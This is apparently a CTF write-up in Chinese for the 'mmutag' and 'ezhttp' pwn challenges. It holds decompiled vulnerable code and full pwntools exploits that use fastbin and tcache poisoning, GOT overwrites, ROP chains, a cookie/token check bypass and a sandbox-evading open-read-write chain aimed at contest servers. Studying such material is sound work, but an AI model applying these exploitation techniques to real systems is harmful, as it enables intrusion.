西湖论剑 Pwn WP

First Post:

Last Update:

Word Count:
5.3k

Read Time:
29 min

Pwn

mmutag

本题下载

checksec

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3ff000)

Vul

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
signed __int64 __fastcall rm(int idx)
{
signed __int64 result; // rax

if ( ptr[idx] )
{
free(ptr[idx]);
--ptr[0]; // uaf
result = 0LL;
}
else
{
puts("you need add this content");
result = 1LL;
}
return result;
}

利用漏洞再于uaf漏洞, 因为真正的添加和释放是顺序性的, 若释放不是最后一个chunk, 会造成释放最后一个chunk, 该所管理的指针数组中的值清0,形成uaf漏洞

思路

程序没有开启pie保护,且程序起初给了堆栈地址, 开辟内存的大小是固定的, 我们只能使用一次fastbin attack.那么我们就想到malloc到堆栈里面, 但是我在堆栈里找了好久满足8字节宽度的0x70~ 0x7f的值, 找到一个, 但是已经在main函数外去了, 且没法break退出main函数。但是我们注意到.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
unsigned __int64 mode_2()
{
int i; // ST0C_4
int v1; // ST0C_4
int v3; // [rsp+8h] [rbp-28h]
char buf; // [rsp+10h] [rbp-20h] // 存在溢出到 cannary
unsigned __int64 v5; // [rsp+28h] [rbp-8h]

v5 = __readfsqword(0x28u);
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
menu_0();
v3 = input_n();
if ( v3 != 1 )
break;
puts("please input your id:");
i = input_n();
if ( (unsigned int)add(i) != 1 )
puts("OK!");
}
if ( v3 != 2 )
break;
puts("please input your id:");
v1 = input_n();
if ( (unsigned int)rm(v1) != 1 )
puts("OK!");
}
if ( v3 != 3 )
break;
read(0, &buf, 0x20uLL); // 存在输入
printf("Your content: %s\n", &buf);
}
if ( v3 == 4 )
break;
Introl(); // Intro
}
return __readfsqword(0x28u) ^ v5;
}

就是输入3的时候我们可以输入一些东西, 我们就可以在这里布置fastbin 的大小为0x71。若我们开辟内存到堆栈里面, 那么就在堆栈里面布置rop链, 采用ret2libc的打法就ok, 但是我们还得需要泄漏cannary, 这里也是采用 这个输入方式进行泄漏cannary, 输入4即可退出该函数调用rop。

还有一个坑ret2libc的时候, 我们需要找一个再次输入到stack里的代码, 方便我们泄漏libc之后然后再次利用。我找的代码如下:

1
2
3
4
5
6
0400B5A                 lea     rax, [rbp+buf]
.text:0000000000400B5E mov rsi, rax
.text:0000000000400B61 mov edi, offset format ; "Your content: %s\n"
.text:0000000000400B66 mov eax, 0
.text:0000000000400B6B call _printf
.text:0000000000400B70 jmp loc_400AB0

为啥要选这段代码, 灯下你就明白, 总之我们需要找一块代码需要再次向栈里写入数据, 但是没法让输入完毕之后就ret, 而下面这个代码可以控制向哪输入数据并返回, 存在个leave指令, 堆栈就发生了迁移, 没法利用。调试的时候, 发现了一个重要的地方就是, rbp我们是可控的, 且程序没开pie, 那么我们能否改got表在调用该函数岂不是实现了。那我就选择改atoi为system,在调用atoi的时候传入’/bin/sh’即可。且该代码块执行后是个循环的, 会调用到atoi。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
#!/usr/bin/env python
#-*- coding:utf-8 -*-
# author: i0gan
# env: pwndocker [skysider/pwndocker (v: 2020/09/09)]

from pwn import *
import os

r = lambda x : io.recv(x)
ra = lambda : io.recvall()
rl = lambda : io.recvline(keepends = True)
ru = lambda x : io.recvuntil(x, drop = True)
s = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda x, y : io.sendafter(x, y)
sla = lambda x, y : io.sendlineafter(x, y)
ia = lambda : io.interactive()
c = lambda : io.close()
li = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')


context.log_level='debug'

elf_path = 'mmutag.bk'
MODIFY_LD = 0
arch = '64'
libc_v = '2.23'

ld_path = '/glibc/' + libc_v + '/' + arch + '/lib/ld-linux-x86-64.so.2'
libs_path = '/glibc/' + libc_v + '/' + arch + '/lib'
libc_path = '/glibc/' + libc_v + '/' + arch + '/lib/libc.so.6'
libc_path = './libc.so.6'
libc_path = '/lib/x86_64-linux-gnu/libc.so.6'

# change ld path
if(MODIFY_LD):
os.system('cp ' + elf_path + ' ' + elf_path + '.bk')
change_ld_cmd = 'patchelf --set-interpreter ' + ld_path +' ' + elf_path
os.system(change_ld_cmd)
li('modify ld ok!')
exit(0)

# remote server ip and port
server_ip = "183.129.189.61"
server_port = 55304

# if local debug
LOCAL = 0
LIBC = 1


#--------------------------func-----------------------------
def db():
if(LOCAL):
gdb.attach(io)
def ad(i, d):
sla(':', '1')
sla(':', str(i))
sa('content', d)

def rm(i):
sla(':', '2')
sla(':', str(i))

def q():
sla(':', '4')

def intro(d):
sla(':', '5')
sa('duce', d)

#--------------------------exploit--------------------------
def exploit():
li('exploit...')
sla(':', 'i0gan')
ru('0x')
stack_leak = int(ru(':'), 16)
attack_stack = stack_leak - (0x7fffffffed40 - 0x7fffffffecd8) +0x20

li('leak: ' + hex(stack_leak))
sla(':', '2')
sla(':', '3')
s('A' * 0x18 + '\x21')
ru('\x21')
cannary = u64('\x00' + ru('\n')[0:7])
li('cannary: ' + hex(cannary))


sla(':', '3')
sl(p64(0x71))

#leak = u64(ru('\x7f')[-5:] + '\x7f\x00\x00')
#libc_base = leak - ( 0x7fffffffed20 - 0x7ffff7a0d000)
#li('leak: ' + hex(leak))
#li('libc_base: ' + hex(libc_base))

ad(1, 'A' * 0x68)
ad(2, 'B' * 0x68)
ad(3, 'C' * 0x60)

rm(1)
rm(2)
rm(1)

p_addr = 0x6020C0
bss_target = p_addr - 0x23

ad(4, p64(attack_stack))
ad(5, 'A')
ad(6, 'A')
li('target : ' + hex(attack_stack))
# attack to stack
pop_rdi = 0x400d23
ret_again = 0x400A50
ret_again = 0x400B44

p = b'A' * 0x10
p += p64(cannary)
p += p64(elf.got['atoi'] + 0x20)
p += p64(pop_rdi)
p += p64(elf.got['read'])
p += p64(elf.plt['puts'])
p += p64(ret_again)
#p += p64(0x400942)
ad(7, p)

q()
leak = u64(ru('\x7f')[-5:] + b'\x7f\x00\x00')
libc_base = leak - libc.sym['read']
libc_sys = libc_base + libc.sym['system']

#db()
p = p64(libc_sys)
s(p)

sl('/bin/sh')


def finish():
ia()
c()

#--------------------------main-----------------------------
if __name__ == '__main__':

if LOCAL:
elf = ELF(elf_path)
if LIBC:
libc = ELF(libc_path)
io = elf.process(env = {"LD_PRELOAD" : libc_path} )
else:
io = elf.process()

else:
elf = ELF(elf_path)
io = remote(server_ip, server_port)
if LIBC:
libc = ELF(libc_path)

exploit()
finish()

ezhttp 思路1

本题下载

checksec

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

该程序是一个模拟http协议进行交互的程序, 开启了pie, 沙箱, 所以只能使用传统的row来打了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
unsigned __int64 sandbox()
{
__int16 v1; // [rsp+0h] [rbp-40h]
__int16 *v2; // [rsp+8h] [rbp-38h]
__int16 v3; // [rsp+10h] [rbp-30h]
char v4; // [rsp+12h] [rbp-2Eh]
char v5; // [rsp+13h] [rbp-2Dh]
int v6; // [rsp+14h] [rbp-2Ch]
__int16 v7; // [rsp+18h] [rbp-28h]
char v8; // [rsp+1Ah] [rbp-26h]
char v9; // [rsp+1Bh] [rbp-25h]
int v10; // [rsp+1Ch] [rbp-24h]
__int16 v11; // [rsp+20h] [rbp-20h]
char v12; // [rsp+22h] [rbp-1Eh]
char v13; // [rsp+23h] [rbp-1Dh]
int v14; // [rsp+24h] [rbp-1Ch]
__int16 v15; // [rsp+28h] [rbp-18h]
char v16; // [rsp+2Ah] [rbp-16h]
char v17; // [rsp+2Bh] [rbp-15h]
int v18; // [rsp+2Ch] [rbp-14h]
__int16 v19; // [rsp+30h] [rbp-10h]
char v20; // [rsp+32h] [rbp-Eh]
char v21; // [rsp+33h] [rbp-Dh]
int v22; // [rsp+34h] [rbp-Ch]
unsigned __int64 v23; // [rsp+38h] [rbp-8h]

v23 = __readfsqword(0x28u);
v3 = 32;
v4 = 0;
v5 = 0;
v6 = 0;
v7 = 21;
v8 = 1;
v9 = 0;
v10 = 59;
v11 = 53;
v12 = 1;
v13 = 0;
v14 = 0;
v15 = 6;
v16 = 0;
v17 = 0;
v18 = 0;
v19 = 6;
v20 = 0;
v21 = 0;
v22 = 2147418112;
v1 = 5;
v2 = &v3;
prctl(38, 1LL, 0LL, 0LL, 0LL, *(_QWORD *)&v1, &v3, 32LL, *(_QWORD *)&v7, *(unsigned int *)&v11, 6LL, *(_QWORD *)&v19);
prctl(22, 2LL, &v1);
return __readfsqword(0x28u) ^ v23;
}

main函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
char *cont; // [rsp+8h] [rbp-1838h]
char method; // [rsp+10h] [rbp-1830h]
char url; // [rsp+20h] [rbp-1820h]
char content; // [rsp+30h] [rbp-1810h]
char input; // [rsp+830h] [rbp-1010h]
unsigned __int64 v9; // [rsp+1838h] [rbp-8h]

v9 = __readfsqword(0x28u);
sub_DF0(a1, a2, a3);
sub_E4B();
sandbox();
sub_F42();
while ( True )
{
puts("\n======= Send Http packet to me: ========");
memset(&input, 0, 0x1000uLL);
if ( (signed int)read(0, &input, 0x1000uLL) < 0 )
puts("Server error!");
__isoc99_sscanf(&input, "%s %s %s", &method, &url, &content);
cont = get_end(&input);
if ( strcmp(&method, "GET") && strcmp(&method, "POST") )
{
send_to((__int64)"HTTP/1.1 405 Method Not Allowed", (__int64)"Method not allowed");
exit(0);
}
if ( !strstr(&input, "Cookie: ") || !(unsigned int)check(&input) )
{
send_to((__int64)"HTTP/1.1 401 Unauthorized", (__int64)"You not login!");
exit(0);
}
if ( !strcmp(&url, "/") )
send_to((__int64)"HTTP/1.1 200 OK", (__int64)"Hello admin!");
if ( !strcmp(&method, "POST") )
{
if ( !strcmp(&url, "/create") )
{
add(cont);
}
else if ( !strcmp(&url, "/del") )
{
del((__int64)cont);
}
else if ( !strcmp(&url, "/show") )
{
show(); // nothing
}
else if ( !strcmp(&url, "/edit") )
{
edit(cont);
}
else
{
send_to((__int64)"HTTP/1.1 404 NOT FOUND", (__int64)"page not found!");
}
}
}
return 0LL;
}

有token和cookie检查, 交互之前需要绕过.

检查函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
_BOOL8 __fastcall check(const char *a1)
{
__int64 v1; // r8
_BOOL8 result; // rax
signed int i; // [rsp+14h] [rbp-8Ch]
char *v4; // [rsp+18h] [rbp-88h]
char *token; // [rsp+20h] [rbp-80h]
char s; // [rsp+30h] [rbp-70h]
char u; // [rsp+40h] [rbp-60h]
unsigned __int64 v8; // [rsp+98h] [rbp-8h]

v8 = __readfsqword(0x28u);
memset(&s, 0, 0x10uLL);
memset(&u, 0, 0x50uLL);
v4 = strstr(a1, "Cookie: ") + 8;
token = strstr(a1, "token: ");
if ( !v4 || !token )
return 0LL;
__isoc99_sscanf(v4, "%10[^=]=%80s", &s, &u, v1);
for ( i = 7; token[i] != '\r'; ++i )
;
token[i] = 0;
if ( !strncmp(&s, "user", 4uLL) && !strncmp(&u, "admin", 5uLL) )
result = strstr(haystack, token + 7) != 0LL;// check token
else
result = 0LL; // false
return result;
}

绕过方式:

1
2
Cookie: user=admin \r\n
token: \r\n

因为采用strstr进行判断的, 若传入字符串中为空, 那么这个就会返回haystack字符串中的末尾。haystack是一个随机字符串。

vul

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
unsigned __int64 __fastcall del(__int64 a1)
{
__int64 v1; // r8
int v3; // [rsp+1Ch] [rbp-34h]
char s; // [rsp+20h] [rbp-30h]
char nptr; // [rsp+30h] [rbp-20h]
unsigned __int64 v6; // [rsp+48h] [rbp-8h]

v6 = __readfsqword(0x28u);
memset(&s, 0, 0xAuLL);
__isoc99_sscanf(a1, "%10[^=]=%2s", &s, &nptr, v1);
v3 = atoi(&nptr);
if ( strncmp(&s, "index", 5uLL) )
{
send_to((__int64)"HTTP/1.1 404 Not Found", (__int64)"No!You can't");
exit(0);
}
if ( v3 < 0 || v3 > 15 || !p_addr[2 * v3] )
{
send_to((__int64)"HTTP/1.1 404 Not Found", (__int64)"No!You can't");
exit(0);
}
free(p_addr[2 * v3]); // uaf
p_addr[2 * v3 + 1] = 0LL;
send_to((__int64)"HTTP/1.1 200 OK", (__int64)"Delete success!");
return __readfsqword(0x28u) ^ v6;
}

存在一个uaf漏洞, 指针没有清0, 且在编辑中只对指针进行判断, 直接可以编辑使用后的函数.

思路

今天我在调试的时候吧alsr关了, 导致heap与elf地址发生连续, 我就以为给的heap地址可以泄漏elf地址, 打入ptr_addr然后修改free为puts打印atoi泄漏libc, 然后再次泄漏Libc中environ泄漏堆栈, 再次打入堆栈中布置row, 原来是我想多了, 若elf与heap连续的话采用此方法还行, 不连续的话就类似与爆破了, 但是今天我尝试了好多次, 也泄漏了远程libc,,只需再次弄后面的就行。爆破几率有点低, 通过以下已知

1
2
3
4
5
6
7
8
9
10
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x560c0c492000 0x560c0c495000 r-xp 3000 0 /home/xh/pwn2/ezhttp.o
0x560c0c694000 0x560c0c695000 r--p 1000 2000 /home/xh/pwn2/ezhttp.o
0x560c0c695000 0x560c0c696000 rw-p 1000 3000 /home/xh/pwn2/ezhttp.o
0x560c0c97d000 0x560c0c99e000 rw-p 21000 0 [heap]
0x7f1898273000 0x7f189845a000 r-xp 1e7000 0 /lib/x86_64-linux-gnu/libc-2.27.so
0x7f189845a000 0x7f189865a000 ---p 200000 1e7000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7f189865a000 0x7f189865e000 r--p 4000 1e7000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7f189865e000 0x7f1898660000 rw-p 2000 1eb000 /lib/x86_64-linux-gnu/libc-2.27.so

爆破几率为 1 / 4096, 今天索性有一次泄漏, 那是万幸…

坑点

1
2
size = strlen(&src);
strncpy(p_addr[2 * i], &src, size);

开辟的大小需要由字符串来决定,payload中就不能出现\x00

把今天有一次泄漏libc的exp先贴着.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
#!/usr/bin/env python
#-*- coding:utf-8 -*-
# author: i0gan

from pwn import *
import os

r = lambda x : io.recv(x)
ra = lambda : io.recvall()
rl = lambda : io.recvline(keepends = True)
ru = lambda x : io.recvuntil(x, drop = True)
s = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda x, y : io.sendafter(x, y)
sla = lambda x, y : io.sendlineafter(x, y)
ia = lambda : io.interactive()
c = lambda : io.close()
li = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')



elf_path = 'ezhttp.o'
libc_path = './libc.so.6'
libc_path = '/lib/x86_64-linux-gnu/libc.so.6'

# remote server ip and port
server_ip = "183.129.189.62"
server_port = 62002

# if local debug
LOCAL = 1
LIBC = 1


#--------------------------func-----------------------------
def db():
if(LOCAL):
gdb.attach(io)

def ad(d):
print(d)
p = b'POST /create HTTP/1.1 \r\n'
p += b'Cookie: user=admin \r\n'
p += b'token: \r\n'
p += b'\r\n'
p += b'content='
p += d
sa('======= Send Http packet to me: ========\n', p)

def rm(i):
p = b'POST /del HTTP/1.1 \r\n'
p += b'Cookie: user=admin \r\n'
p += b'token: \r\n'
p += b'\r\n'
p += b'index=' + str(i).encode()
sa('======= Send Http packet to me: ========\n', p)

def md(i, d):
p = b'POST /edit HTTP/1.1 \r\n'
p += b'Cookie: user=admin \r\n'
p += b'token: \r\n'
p += b'\r\n'
p += b'index=' + str(i).encode()
p += b'&content=' + d + b'\n'
sa('======= Send Http packet to me: ========\n', p)

#--------------------------exploit--------------------------
def exploit():
li('exploit...')
ad(b'A' * 0x8) # 0
ru('0x')
leak = int(ru('"'), 16)
db()
offset = 0
if(LOCAL):
offset = 0x555555758260 - 0x555555554000
else:
offset = 0x202260
offset = 0x201260
li('offset: ' + hex(offset))
elf_base = leak - offset
p_addr = elf_base + 0x203120
li('leak: ' + hex(leak))
li('elf_base: ' + hex(elf_base))

rm(0)
rm(0)
rm(0)
li('attack to p_addr')
# attack to p_addr + 0x10 set chunk 1 -> free_got
ad(p64(p_addr + 0x10)) # 1
ad(b'A' * 0x8) # 2
free_got = elf_base + elf.got['free']
li('free_got: ' + hex(free_got))

#db()
ad(p64(free_got)) # 3
li('p_addr: ' + hex(p_addr))

rm(0)
rm(0)
rm(0)
li('modify free_got as puts plt')
md(1, p64(elf_base + elf.plt['puts'])[0:6])

li('attack to p_addr set chunk2 as atoi got')
ad(p64(p_addr + 0x20)) # 1
ad(b'A' * 0x8) # 2
ad(p64(elf_base + elf.got['atoi'])) # 3

# leak libc
li('puts libc')
rm(2)
leak = u64(ru('\x7f')[-5:] + b'\x7f\x00\x00')
libc_base = leak - libc.sym['atoi']
li('libc_atoi: ' + hex(leak))
li('libc_base: ' + hex(libc_base))
environ = libc_base + libc.sym['_environ']
li('environ: ' + hex(environ))

# leak stack


db()



def finish():
ia()
c()

#--------------------------main-----------------------------
if __name__ == '__main__':

if LOCAL:
elf = ELF(elf_path)
if LIBC:
libc = ELF(libc_path)
io = elf.process(env = {"LD_PRELOAD" : libc_path} )
else:
io = elf.process()

else:
context.log_level='debug'
elf = ELF(elf_path)
io = remote(server_ip, server_port)
if LIBC:
libc = ELF(libc_path)

exploit()
finish()

太菜了….

更新

基于以上泄漏, 我们先泄漏通过environ泄漏stack的input地址, 通过修改exit的的got表中的地址实现劫持, 但是程序开了沙箱, 只能采用orw来打, 比较麻烦的是, 采用开辟堆来实现, 那也不行, 有特殊字符截断, 只能在堆栈中构造rop链, 我在libc中找了好久, 还有调了好久, 才找到一个方法实现….太菜了….

如何在堆栈中构造rop链并触发.

  1. 首先我们先看下程序.

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    __int64 __fastcall main(__int64 a1, char **a2, char **a3)
    {
    char *cont; // [rsp+8h] [rbp-1838h]
    char method; // [rsp+10h] [rbp-1830h]
    char url; // [rsp+20h] [rbp-1820h]
    char content; // [rsp+30h] [rbp-1810h]
    char input; // [rsp+830h] [rbp-1010h]
    unsigned __int64 v9; // [rsp+1838h] [rbp-8h]

    v9 = __readfsqword(0x28u);
    sub_DF0();
    sub_E4B();
    sandbox();
    init_0();
    while ( True )
    {
    puts("\n======= Send Http packet to me: ========");
    memset(&input, 0, 0x1000uLL);
    if ( (signed int)read(0, &input, 0x1000uLL) < 0 )
    puts("Server error!");
    __isoc99_sscanf((__int64)&input, (__int64)"%s %s %s", (__int64)&method, (__int64)&url, (__int64)&content);
    cont = get_end(&input); // cont -> input->end
    if ( strcmp(&method, "GET") && strcmp(&method, "POST") )
    {
    send_to((__int64)"HTTP/1.1 405 Method Not Allowed", (__int64)"Method not allowed");
    exit(0);
    }

    ...

可以看到, 我们输入前部分可以放到method变量地方, 而这个变量可以储存0x10个字符, 若想利用rop, 我们前提是要到控制好rsp在我们的rop上, 那怎么才能控制rsp, 在libc中通过某些指令构造,比如通过pop rsp ret指令,那如何布置该指令呢, 使用该指令控制rsp,必须符合如下结构:

1
2
pop_rsp_ret addr
target_rsp addr

首先, 我们必须至少控制两个地址连续的地址,且ret时指向pop_rsp_ret addr, 这样执行pop rsp指令时会将rsp指向我们的rop链中.

也可以采用leave ret指令修改也行, 但是我们得控制rbp, rbp可以采用pop rbp … ret控制.

那我就采用pop rsp来使我们劫持的exit 函数指向我们的 rop链中, 而rop链也就是我们所输入的堆栈地址那.

与method变量结合.

1
2
3
4
5
6
7
8
9
10
----------------------------------| 
unuse rsp, we can modify it
----------------------------------|
unuse
----------------------------------|
unuse
----------------------------------|
pop rsp addr in libc method we can modify it
-----------------------------------
addr our input rop chain in stack | we can modify it

我们先劫持exit函数为main函数中的所输入的地方, 也就是read函数那, 这样就可以实现循环输入到堆栈中而不退出,。先输入 method + 0x8部分, 这样做是因为前面字符不能有’\x00’截断,我们可以让这个地址设为我们即将要改变rsp指向为我们所输入的rop chain地址,但是我们会面临一个问题, 就是我们输入pop_rsp_ret指令的地址后, 跳到这个地方, 高位地址有我们之前输入的字符, 需要不断缩小来设置为’\x00’。通过这个构造, 再次修改 exit got表中的值为 我们所够造好的rop, 修改为pop3_ret, 弹掉3个没用变量, 修改rsp为我们的rop链, 在ret到我们的rop chain中, 这样就可以完美利用了。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
#!/usr/bin/env python3
#-*- coding:utf-8 -*-
# author: i0gan
# env: archlinux

from pwn import *
import os

r = lambda x : io.recv(x)
ra = lambda : io.recvall()
rl = lambda : io.recvline(keepends = True)
ru = lambda x : io.recvuntil(x, drop = True)
s = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda x, y : io.sendafter(x, y)
sla = lambda x, y : io.sendlineafter(x, y)
ia = lambda : io.interactive()
c = lambda : io.close()
li = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')
context.terminal = ['tmux', 'splitw', '-h']

elf_path = 'ezhttp'
MODIFY_LD = 0
arch = '64'
libc_v = '2.27'

ld_path = './ld-linux-x86-64.so.2'
libc_path = './libc.so.6'


# change ld path
if(MODIFY_LD):
#os.system('cp ' + elf_path + ' ' + elf_path + '.bk')
change_ld_cmd = 'patchelf --set-interpreter ' + ld_path +' ' + elf_path
os.system(change_ld_cmd)
li('modify ld ok!')
exit(0)

# remote server ip and port
server_ip = "183.129.189.62"
server_port = 62002

# if local debug
LOCAL = 1
LIBC = 1


#--------------------------func-----------------------------
def db():
if(LOCAL):
gdb.attach(io)

def ad(d):
print(d)
p = b'POST /create HTTP/1.1 \r\n'
p += b'Cookie: user=admin \r\n'
p += b'token: \r\n'
p += b'\r\n'
p += b'content='
p += d
sa('======= Send Http packet to me: ========\n', p)

def rm(i):
p = b'POST /del HTTP/1.1 \r\n'
p += b'Cookie: user=admin \r\n'
p += b'token: \r\n'
p += b'\r\n'
p += b'index=' + str(i).encode()
sa('======= Send Http packet to me: ========\n', p)

def md(i, d):
p = b'POST /edit HTTP/1.1 \r\n'
p += b'Cookie: user=admin \r\n'
p += b'token: \r\n'
p += b'\r\n'
p += b'index=' + str(i).encode()
p += b'&content=' + d + b'\n'
sa('======= Send Http packet to me: ========\n', p)

#--------------------------exploit--------------------------
def exploit():
li('exploit...')
ad(b'A' * 0x8) # 0
ru('0x')
leak = int(ru('"'), 16)
offset = (0x55555575c260 - 0x555555554000)
li('offset: ' + hex(offset))
elf_base = leak - offset
p_addr = elf_base + 0x203120
li('leak: ' + hex(leak))
li('elf_base: ' + hex(elf_base))

rm(0)
rm(0)
rm(0)
li('attack to p_addr')
# attack to p_addr + 0x10 set chunk 1 -> free_got
ad(p64(p_addr + 0x10)) # 1
ad(b'A' * 0x8) # 2
free_got = elf_base + elf.got['free']
li('free_got: ' + hex(free_got))
ad(p64(free_got)) # 3
li('p_addr: ' + hex(p_addr))

rm(0)
rm(0)
rm(0)
li('modify free_got as puts plt')
md(1, p64(elf_base + elf.plt['puts'])[0:6])

li('attack to p_addr set chunk2 as atoi got')
ad(p64(p_addr + 0x20)) # 1
ad(b'A' * 0x8) # 2
ad(p64(elf_base + elf.got['atoi'])) # 3


# leak libc
rm(2)
leak = u64(ru('\x7f')[-5:] + b'\x7f\x00\x00')
libc_base = leak - libc.sym['atoi']
libc.address = libc_base
libc_environ = libc.sym['environ']
exit_hook = libc_base + + (0x7ffff7ffdf68 - 0x7ffff7a23000)
li('libc_atoi: ' + hex(leak))
li('libc_base: ' + hex(libc_base))
li('environ: ' + hex(libc_environ))
li('_rtld_lock_unlock_recursive : ' + hex(exit_hook))
#md(3, p64(libc_environ)[0:6])
#rm(1)

# recovery chunk 2
md(3, p64(p_addr + 0x28)[0:6])
md(1, b'\x08')
md(3, p64(p_addr + 0x20)[0:6])
md(1, p64(libc_environ)[0:6])
rm(2)

# leak stack
leak = u64(ru('\x7f')[-5:] + b'\x7f\x00\x00')
stack_input = leak - (0x7fffffffede8 - 0x7fffffffdce0)
stack_main = leak
li('stack input: ' + hex(stack_input))
li('stack main: ' + hex(stack_main))

# modify exit got as loop input
md(3, p64(elf_base + elf.got['exit'])[0:6])
ret_n = elf_base + 0x18EB # set run loop again
md(1, p64(ret_n)[0:6])

pop4_ret = libc_base + 0x21457
pop_rsp_ret = libc_base + 0x3960
p = b'A' * 8 + p64(stack_input + 0x10)
sl(p)

# clean: rubish
sla('}', 'AAAAAAA\x00')
sl('AAAAAA\x00')

li('jmp to: ' + hex(pop4_ret))
md(1, p64(pop4_ret)[0:6])
# rop chain
p = p64(pop_rsp_ret)
p += b'A' * 8
libc_read = libc.sym['read']
libc_open = libc.sym['open']
libc_puts = libc.sym['puts']
pop_rdi = libc_base + 0x2154d
pop_rdx_rsi = libc_base + 0xfe669
pop_rdx = libc_base + 0x1b96
flag_addr = stack_input + 0x200

# ret to here
# open
p += p64(pop_rdi) + p64(flag_addr)
p += p64(pop_rdx_rsi) + p64(0) + p64(0)
p += p64(libc_open)
# read
p += p64(pop_rdi) + p64(4)
p += p64(pop_rdx_rsi) + p64(0x100) + p64(flag_addr + 0x10)
p += p64(libc_read)

# puts
p += p64(pop_rdi) + p64(flag_addr + 0x10)
p += p64(libc_puts)

p = p.ljust(0x200, b'\x00')
p += b'./flag\x00'
li('flag here: \n')
sla('ok', p)



def finish():
ia()
c()

#--------------------------main-----------------------------
if __name__ == '__main__':

if LOCAL:
elf = ELF(elf_path)
if LIBC:
libc = ELF(libc_path)
io = elf.process(env = {"LD_PRELOAD" : libc_path})
else:
io = elf.process()

else:
context.log_level='debug'
elf = ELF(elf_path)
io = remote(server_ip, server_port)
if LIBC:
libc = ELF(libc_path)

exploit()
finish()

输出:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
logan@arch:~/share/xh/pwn2 » ls
dm exp ezhttp ezhttp.i64 ezhttp.o flag ld-linux-x86-64.so.2 libc.so.6 p
logan@arch:~/share/xh/pwn2 » ./exp
[*] '/home/logan/share/xh/pwn2/ezhttp'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] '/home/logan/share/xh/pwn2/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Starting local process '/home/logan/share/xh/pwn2/ezhttp': pid 22554
[*] exploit...
b'AAAAAAAA'
[*] offset: 0x208260
[*] leak: 0x55555575c260
[*] elf_base: 0x555555554000
[*] attack to p_addr
b'0quUUU\x00\x00'
b'AAAAAAAA'
[*] free_got: 0x555555757018
b'\x18puUUU\x00\x00'
[*] p_addr: 0x555555757120
[*] modify free_got as puts plt
